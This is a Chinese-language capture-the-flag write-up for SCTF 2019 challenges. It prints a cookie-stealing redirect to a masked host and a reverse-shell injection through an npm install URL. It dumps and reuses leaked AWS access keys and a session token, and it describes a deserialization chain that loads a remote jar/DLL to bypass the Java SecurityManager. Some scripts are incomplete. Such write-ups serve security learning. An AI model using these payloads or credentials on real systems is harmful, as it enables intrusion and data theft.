math-is-fun1
解题思路
这里有变量覆盖:
可以覆盖全局变量:
使用跳转方式绕过 CSP: location.href=`//xxx.xxx.xxx.xxx/?${document.cookie}`
easy-web
解题思路
前端 Vue,使用 webpack 打包,没有删除 .map 文件,恢复前端源码:
发现 NodePack.Vue 中的 /upload 传接口,key 为: abcdefghiklmn123
可在未登录的情况下访问该接口:
可能的思路:
思路1:server 端使用的是 npm install xxx xxx xxx
npm 支持直接安装远程 npm 包的方式
npm install git+ssh://git@github.com:xxx/xxx.git#master --save-dev
npm install git+ssh://git@github.com:npm/npm.git#v1.0.27
npm install git+https://isaacs@github.com/npm/npm.git
npm install git://github.com/npm/npm.git#v1.0.2
会不会URL的地方直接能命令执行?
思路2:或者是加载自己的 npm 包,然后尝试读本地文件或者反弹 shell ?
https://docs.npmjs.com/misc/scripts
preinstall: Run BEFORE the package is installed
install, postinstall: Run AFTER the package is installed
利用 preinstall 或者 install 或者 postinstall 让这个包在安装的时候,执行包里的脚本
思路1 尝试:
可以命令执行
POST /upload HTTP/1.1
Host: sctf2019.l0ca1.xyz
Connection: keep-alive
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Content-Type: application/json;charset=utf-8
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Content-Length: 119
{"key":"abcdefghiklmn123", "npm":["http://d.dnslog.cc/sctf2019/aaa.git?a=`bash -i>&/dev/tcp/xxx.xxx.xxx.xxx/7727 0>&1`"] 可以反弹 shell,没找到 flag, 环境变量如下: AWS_LAMBDA_FUNCTION_VERSION=$LATEST
AWS_SESSION_TOKEN=AgoJb3JpZ2luX2VjEH0aDmFwLW5vcnRoZWFzdC0xIkYwRAIgMGsCOi5KSvQRM2sP/SHKAmHiF0qQQImI8xRIYkdwE7ECIDahKwbNkCM7GeyU+GwQftqdHVY4R8DiOrvx+n2JtK9lKokCCLb//////////wEQABoMODk4ODI5NjM2NzYyIgzfFEGdud2jZ17D5fwq3QHoeXy+deg+LFhxa54uTOZlR966/Jk6zuoK85SBa0RG0v8NlBYOYqaT1EBnhvl6sh7GKiyuzBUuHbA64V8T4eeMNt04MG3/YpKaRMJzCxC/RijNPDUjXD0oh/YcM7wDhZbO8pzUzubKHys84H1T6eDbFVstMGtUPeoe4z0xfJN/TTPO8SQ2IJYD2oToJk0rrOnpktWxgTMEJgeYx5kxPaEKxAK0ZOzXHUDwzE56blub9RGI0/LLylYDIXyx5d1AV6ypzeYl0aV+mcL9O9urGp4i/gkevgnadnORguBmpDDa4rboBTq1AWtsIOXozs98y4Yw4v1Et1xea/AA+Ulq/uBFbvOBL3PMzUz/PqgUWiTQBOiRI8gq8yyxfoNLJA8A3ipzT0Wm67XbsKvDNnmfZT5zQOagtPXq3J3yR8+zKbodxwLLxXReItunw8FAaYHk5VbQiTsuXbkqAhtmC+oZi3uiIyLSbK2co/FkGGSWH/JFh7uhAlb+Cl4bfoOdTg9p1HcQEBroZ9dnP7wdgVRFD1vUnJx8yRngghnfiCA=
AWS_LAMBDA_LOG_GROUP_NAME=/aws/lambda/sctf
LAMBDA_TASK_ROOT=/var/task
LD_LIBRARY_PATH=/var/lang/lib:/lib64:/usr/lib64:/var/runtime:/var/runtime/lib:/var/task:/var/task/lib:/opt/lib
AWS_LAMBDA_LOG_STREAM_NAME=2019/06/22/[$LATEST]e12b1b315f6b4636b4665ffe25aa5123
AWS_EXECUTION_ENV=AWS_Lambda_nodejs8.10
AWS_XRAY_DAEMON_ADDRESS=169.254.79.2:2000
AWS_LAMBDA_FUNCTION_NAME=sctf
PATH=/var/lang/bin:/usr/local/bin:/usr/bin/:/bin:/opt/bin
AWS_DEFAULT_REGION=ap-northeast-1
PWD=/tmp/gqm5A40H3WSwKvc8akBI
AWS_SECRET_ACCESS_KEY=XxEWYXlnNjVdeesn4mEBiyTXuTUtDW9pQY2aYRFy
LAMBDA_RUNTIME_DIR=/var/runtime
LANG=en_US.UTF-8
NODE_PATH=/opt/nodejs/node8/node_modules:/opt/nodejs/node_modules:/var/runtime/node_modules:/var/runtime:/var/task:/var/runtime/node_modules
AWS_REGION=ap-northeast-1
TZ=:UTC
AWS_ACCESS_KEY_ID=ASIA5CRTL2SNIBLFAVHT
SHLVL=3
_AWS_XRAY_DAEMON_ADDRESS=169.254.79.2
_AWS_XRAY_DAEMON_PORT=2000
_X_AMZN_TRACE_ID=Root=1-5d0db9c8-8f3f5704d2474f7cacfcae04;Parent=19b6a2ec32e2b773;Sampled=0
AWS_XRAY_CONTEXT_MISSING=LOG_ERROR
_HANDLER=index.handler
AWS_LAMBDA_FUNCTION_MEMORY_SIZE=1856
观察到几次反弹 shell 连过来的 IP 都不一样,猜想 flag 可能在 AWS S3 上
const AWS = require("aws-sdk");
const cfg = {
"Bucket": "static.l0ca1.xyz",
"host": "static.l0ca1.xyz",
}
const s3Parme = {
accessKeyId: "ASIA5CRTL2SNIBLFAVHT",
secretAccessKey: "XxEWYXlnNjVdeesn4mEBiyTXuTUtDW9pQY2aYRFy",
sessionToken: 'AgoJb3JpZ2luX2VjEH0aDmFwLW5vcnRoZWFzdC0xIkYwRAIgMGsCOi5KSvQRM2sP/SHKAmHiF0qQQImI8xRIYkdwE7ECIDahKwbNkCM7GeyU+GwQftqdHVY4R8DiOrvx+n2JtK9lKokCCLb//////////wEQABoMODk4ODI5NjM2NzYyIgzfFEGdud2jZ17D5fwq3QHoeXy+deg+LFhxa54uTOZlR966/Jk6zuoK85SBa0RG0v8NlBYOYqaT1EBnhvl6sh7GKiyuzBUuHbA64V8T4eeMNt04MG3/YpKaRMJzCxC/RijNPDUjXD0oh/YcM7wDhZbO8pzUzubKHys84H1T6eDbFVstMGtUPeoe4z0xfJN/TTPO8SQ2IJYD2oToJk0rrOnpktWxgTMEJgeYx5kxPaEKxAK0ZOzXHUDwzE56blub9RGI0/LLylYDIXyx5d1AV6ypzeYl0aV+mcL9O9urGp4i/gkevgnadnORguBmpDDa4rboBTq1AWtsIOXozs98y4Yw4v1Et1xea/AA+Ulq/uBFbvOBL3PMzUz/PqgUWiTQBOiRI8gq8yyxfoNLJA8A3ipzT0Wm67XbsKvDNnmfZT5zQOagtPXq3J3yR8+zKbodxwLLxXReItunw8FAaYHk5VbQiTsuXbkqAhtmC+oZi3uiIyLSbK2co/FkGGSWH/JFh7uhAlb+Cl4bfoOdTg9p1HcQEBroZ9dnP7wdgVRFD1vUnJx8yRngghnfiCA='}
var s3 = new AWS.S3(s3Parme);
data = s3.getObject({
Bucket: cfg.Bucket,
Key: `flaaaaaaaaag/flaaaag.txt`,
}).promise().catch(e => {
console.log(e);
return;
}).then((e) => {
console.log(e.Body.toString())
});
或者直接 s3 cp 到本地来:
babyEoP
访问后是一个 jsp webshell
password 123456
进去之后发现执行命令、写文件等权限都被禁止,根据页面报错可以看出来, 开启了 java SecurityManager
也就是启动 tomcat 的时候,加了 -security 参数
JSM 可在代码层创建,也可在配置文件里通过 policy 创建,代码是个 webshell 肯定没这玩意儿,于是读一下策略文件: C:/babyEoP/apache-tomcat-8.5.42/conf/catalina.policy
JSM 策略走的是白名单机制,没列出来的权限就代表没有。
WEB-INF/lib/ 目录下有个 common-collection-3.1.jar 这个 jar 是有反序列化漏洞的版本
在 webshell 里面找到一段和反序列化有关的地方:
生成一个 URLDNS 的 EXP
发送
URLDNS收到了,证明可以反序列化
ysoserial 已公开的可在这个版本里使用的 EXP:
CommonsCollections1 commons-collections:3.1
CommonsCollections3 commons-collections:3.1
CommonsCollections5 commons-collections:3.1
CommonsCollections6 commons-collections:3.1
CommonsCollections7 commons-collections:3
尝试生成执行命令的exp,结果就是肯定不成功,因为 JSM 存在的原因。
现在的思路就转变为,绕过JSM
META-INF/MANIFEST.MF
Manifest-Version: 1.0
Built-By: Jaylin
Created-By: Apache Maven 3.3.9
Build-Jdk: 1.8.0_162
AnnotationInvocationHandler,BadAttributeValueExpException: 都受到限制不能利用
注意到之前的 policy 文件里,给了 createClassLoader 权限,参才这篇绕过 JSM 的文章:
https://www.anquanke.com/post/id/151398#h3-7
因为我们没有写权限(临时目录都没权限),所以需要通过远程加载的方式,这里使用 URLClassLoader 来远程加载 jar 包完成
魔改 ”ysoserial“CommonsCollections6 的 transformers ,把 java.lang.Runtime.exec 改成 java.net.URLClassLoader 就可以加载远程 jar 包了
恶意 class :
public class V {
static {
System.load("\\\\ip\\ant.dll");
}
public static native String exec(String cmd);
public V(String cmd) {
}
public static void main(String[] args) {
}
这里的 ant.dll 是 Yan 表哥的黑科技
有了写权限,就可以为所欲为的挂黑页
为所欲为?
题目附件
解题思路
推荐chrome浏览器访问。
访问/robots.txt得到/filebak,访问就是源码
这里有模版注入,输入 <%=$0%> 就能看到文件名
从代码里可以知道一共限制了7个字符,看看有哪些可以用到的全局变量:
这个只是跑出来一段序列,多次跑了脚本之后,发现 75c8 是结尾巴,于是倒着来跑:
跑出来之后,去 jwt.io 重新加密一个 token 去买 flag
解密后得 flag
下面是这道题的彩蛋 时间:
可以RCE反弹 shell:
改一下题目的模版:
解题思路
.net逆向
躲开飞行物一直冲到底就完事了(看不见飞机了也要继续向前)
题目附件:
https://adworld.xctf.org.cn/media/uploads/task/18908dd2a94b4b1fa9e4560257aea844.zip
解题思路
按道理两次bfs就行,这个最后跑出来226不对。可能哪儿漏了什么吧。
#include<cstdio>
#include<cstring>
#include<algorithm>
#include<queue>
#include<set>
using namespace std;
int n,m,sum,ex,ey;
int map[1010][1010];
int vis[1010][1010];
int d[4][2]={1,0,0,1,-1,0,0,-1};
set<int>s;
bool judge(int x,int y,int x1,int y1)
{
//分类讨论
int nextx=x+x1;
int nexty=y+y1;
if(nextx>=0&&nextx<m&&nexty>=0&&nexty<n)
{
if(x1==0 && y1==-1){
if(map[nextx][nexty]!=(map[nextx][nexty]|4) && vis[nextx][nexty]==0)
return true;
}
if(x1==-1 && y1==0){
if(map[nextx][nexty]!=(map[nextx][nexty]|8) && vis[nextx][nexty]==0)
return true;
}
if(x1==0 && y1==1){
if(map[nextx][nexty]!=(map[nextx][nexty]|1) && vis[nextx][nexty]==0)
return true;
}
if(x1==1 && y1==0){
if(map[nextx][nexty]!=(map[nextx][nexty]|2) && vis[nextx][nexty]==0)
return true;
}
}
return false;
}
struct node
{
int x,y,step;
}now,next1;
void bfs(int sx,int sy)
{
queue<node>q;
memset(vis,0,sizeof(vis));
vis[sx][sy]=1;
now.x=sx;
now.y=sy;
now.step=0;
sum=0;
q.push(now);
while(!q.empty())
{
now=q.front();
q.pop();
for(int i=0;i<4;i++)
{
next1.x=now.x+d[i][0];
next1.y=now.y+d[i][1];
if(judge(now.x,now.y,d[i][0],d[i][1]))
{
next1.step=now.step+1;
vis[next1.x][next1.y]=1;
if(sum<next1.step)
{
sum=next1.step;
ex=next1.x;//记录中间的端点值
ey=next1.y;
}
q.push(next1);
}
}
}
}
using namespace std;
int main()
{
int t,sx,sy;
scanf("%d",&t);
while(t--)
{
scanf("%d,%d",&n,&m);
for(int i=0;i<m;i++)
for(int j=0;j<m;j++)
scanf("%d",&map[i][j]);
// for(int i=0;i<m;i++){
// for(int j=0;j<m;j++)
// printf("%d",map[i][j]);
// printf("\n");
// }
for(int i=0;i<n;i++)
{
for(int j=0;j<m;j++)
{
if(map[i][j]!=15)
{
sx=i;
sy=j;
// memset(vis,0,sizeof(vis));
// sum=-1;
sum=0;
ex=0;
ey=0;
bfs(sx,sy);
// sum=-1;
bfs(ex,ey);
if(sum> 220)
printf("%d,%d %d %d ,Maximum rope length is %d.\n",ex,ey, i,j,sum);
s.insert(sum);
// break;
// break;
}
}
}
set<int>::iterator it;
for(it=s.begin ();it!=s.end ();it++)
{
printf("%d\n",*it);
}
// bfs(sx,sy);
// bfs(ex,ey);
// printf("Maximum rope length is %d.\n", sum);
}
return 0;
题目附件:
https://adworld.xctf.org.cn/media/uploads/task/3d93f0c47ad94e31882e0a670eb6f5cf.zip
解题思路
使用au打开
短的为0,长的为1,输出来去掉前面校验位和后面验证码位得到 01110100101010100110
sctf{001110100101010100110}
题目附件:
https://adworld.xctf.org.cn/media/uploads/task/cfb3dacd97b74e91bdcb4ba6cce3794e.zip
解题思路
这个题目server.py的代码缺陷主要是code函数加密的是strxor后的16个字节,而且忽略了输入msg的%16的余数。这让我们可以控制最后一个字节,以及使用重复的序列构造strxor后与代码给出的提示一样的AES原始输入。paylaod如下:
from pwn import *
a = 'see you at three o\'clock tomorrow'
b = 'please send me your flag'
c = 'see you '
msg = (b+c)*2 + a + '\x0f'*15 + '\x59'
r = remote('47.240.41.112', 12345)
data = r.recvline()
print data
data = data.split(':')[2][:-2]
print data
print r.recvuntil('message:')
r.sendline(msg.encode('hex'))
print r.recvuntil('code:')
r.sendline(data)
print r.recvline()
print r.rec
题目附件:
https://adworld.xctf.org.cn/media/uploads/task/24d02df55b0e4f9ab941e81e536cf951.zip
解题思路
这个题目在开始的时候有反调试,并且第二个函数有跳转去sctf段执行,对一个字符串进行变换。
直接在程序跑起来过后附加即可。然后就可以调了。
后面的算法是AES CBC 然后 base64 与目标串比较,那个CBC哪里我一直没注意,浪费了太多时间...
#coding=utf-8
from Crypto.Cipher import AES
import base64
import binascii
key="sycloversyclover"
cipher=AES.new(key,AES.MODE_CBC,IV="sctfsctfsctfsctf")
real_cipher="9ca9db1ec82a0f768d101f758c1de013302bf889254304f56d2b37f9b5e97aea"
d=cipher.decrypt(binascii.unhexlify(real_cipher))
print (d)
题目附件:
https://adworld.xctf.org.cn/media/uploads/task/e588401bffd14747b87809ba4181dc3b.zip
解题思路
分三部分校验
第一部分走迷宫
*****
*****
****.
****.
**s..
*..**
****.
****.
*****
*****
*..**
*..**
..#*.
.***.
.***.
*****
*****
*****
*****
.**..
*****
**..*
*...*
..*.*
.**.*
要求最短路径,本来我得出最短的应该是'sxss'。但提交flag时不对,最后用了'ddwwxxssxaxwwaasasyywwdd'。按出题人提及的hint,应该说是立方体表面的三维迷宫,那就要考虑实际情况了。因为没有穿墙术啊。(如果光说三维迷宫,感觉有歧义,如果不是立方体表面的那种迷宫,'sxss'就是对的了。)
第二部分是base64解码与常量串比较,直接'sctf_9102'进行base64编码
第三部分是异或运算。动态调试,直接将校验串逆序作为输入,即可解出此部分的原始输入(当时也可以把代码扒下来自己算)。
异或syclover,得到另一个apk。
30字节输入分2部分校验。第一部分base64;第二部分相当于明文校验。
>>> 'c2N0ZntXM2xjMG1l'.decode('base64')
'sctf{W3lc0me'
>>> a = '~8t808_8A8n848r808i8d8-8w808r8l8d8}8'
>>> len(a)
36
>>> s = ''
>>> for i in range(18):
... s += a[2*i]
...
>>> s
'~t0_An4r0id-w0rld}'
>
题目附件:
https://adworld.xctf.org.cn/media/uploads/task/271a2c840f3041b98ff7fdda13c503ee.zip
解题思路
题目主要算法为变形的RC4。密钥为'hellosctf'的大写md5值。本来应该挺好弄的。但是由于有个'String(char[])的操作,让一切都变得很糟糕了。
最后的校验值'C28BC39DC3A6C283C2B3C39DC293C289C2B8C3BAC29EC3A0C3A7C29A1654C3AF28C3A1C2B1215B53'并不是真正的RC4加密后的hex串,据猜测因为上面提到的骚操作,加密串产生了变化 。其实原始输入可以爆一下。
小试了下,基本是C3后面的hex值+0x40就是一字节原始的加密串字节值,C2后面就是一字节原始的加密串字节值,小于0x80的是原始加密串字节值。整理后的加密hex串为:
8BDDE683B3DD9389B8FA9EE0E79A1654EF28E1B1215B53
调试后发现解密后有一字节不对,为sctf{IT_IS_A_NICE_6ONG}。
通过题目名,猜测最后为SONG},验证后通过。
DEFAULT_KEY = "\x59\xf3\x02\xc3\x25\x9a\x82\x30\x0b\xbb\x25\x7f\x7e\x3b\xd2\xdc"
def en_rc4(data, key=DEFAULT_KEY, skip=1024):
x = 0
box = range(256)
x = 0
for i in range(256):
x = (x + box[i] + ord(key[i % len(key)])) % 256
tmp = box[i]
box[i] = box[x]
box[x] = tmp
x = 0
y = 0
out = []
if skip > 0:
for i in range(skip):
x = (x + 1) % 256
y = (y + box[x]) % 256
box[x], box[y] = box[y], box[x]
for char in data:
x = (x + 1) % 256
y = (y + box[x]) % 256
box[x], box[y] = box[y], box[x]
k = box[(box[x] + box[x]) % 256]
out.append(chr(((ord(char)-x) ^ k)%256))
return ''.join(out)
def de_rc4(data, key=DEFAULT_KEY, skip=1024):
x = 0
box = range(256)
x = 0
for i in range(256):
x = (x + box[i] + ord(key[i % len(key)])) % 256
tmp = box[i]
box[i] = box[x]
box[x] = tmp
x = 0
y = 0
out = []
if skip > 0:
for i in range(skip):
x = (x + 1) % 256
y = (y + box[x]) % 256
box[x], box[y] = box[y], box[x]
for char in data:
x = (x + 1) % 256
y = (y + box[x]) % 256
box[x], box[y] = box[y], box[x]
k = box[(box[x] + box[x]) % 256]
out.append(chr(((ord(char)^k) + x )&0xff))
return ''.join(out)
def main():
res = de_rc4('8BDDE683B3DD9389B8FA9EE0E79A1654EF2882B1215B53'.decode('hex'),'E7E64BF658BAB14A25C9D67A054CEBE5',0)
print res.encode('hex')
print res
print en_rc4('sctf{IT_IS_A_NICE_SONG}','E7E64BF658BAB14A25C9D67A054CEBE5',0).encode('hex')
print 'end.'
if __name__ == '__main__' main()